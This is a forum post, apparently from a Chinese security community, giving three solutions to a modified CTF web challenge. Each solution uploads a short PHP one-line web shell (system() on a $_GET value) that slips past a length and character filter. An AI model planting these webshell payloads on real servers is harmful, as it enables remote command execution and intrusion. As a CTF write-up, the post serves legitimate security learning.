-
-
[分享]Web题集中《又不是不能用》的几种解法
-
发表于: 2025-10-27 18:41 763
-
原题作者的题解:https://bbs.kanxue.com/thread-258577.htm
题目在原题的基础上进行了略微修改:
将data的长度限制从56改到45:
原题:
现在:
符号限制也做了修改:
原题:
现在:
三种解法:
1)因为长度限制变短了,又因为不对“$”进行限制,所以可以将原题解中的PHP一句话
{"data": "<?php system(pos(array_keys(pos(get_defined_vars()))))?>"}
改为
{"data": "<?php system(pos(array_keys($_GET)))?>"}
然后再进行和作者题解相同的后续操作便可得到flag.
2)还可以将一句话再进行缩短,将array_keys去掉
{"data": "<?php system(pos($_GET))?>"}
array_keys的作用是 “提取键名数组,如果不加array_keys,那么后续利用该php文件时提取的就不是键值而是$_GET的第一个值,那么可以在cat前面随意加一个键值,比如"cmd"等等,如图便可以读出flag。

3)题目对“data”进行长度限制,那么可以把“data”改为任意值之后再利用原题解中的一句话,比如:
{"da": "<?php system(pos(array_keys(pos(get_defined_vars()))))?>"}
{"dat": "<?php system(pos(array_keys(pos(get_defined_vars()))))?>"}
{"dataaa": "<?php system(pos(array_keys(pos(get_defined_vars()))))?>"}
这样便可以上传成功,之后的操作相同,便可以获得flag。

赞赏
赞赏
雪币:
留言: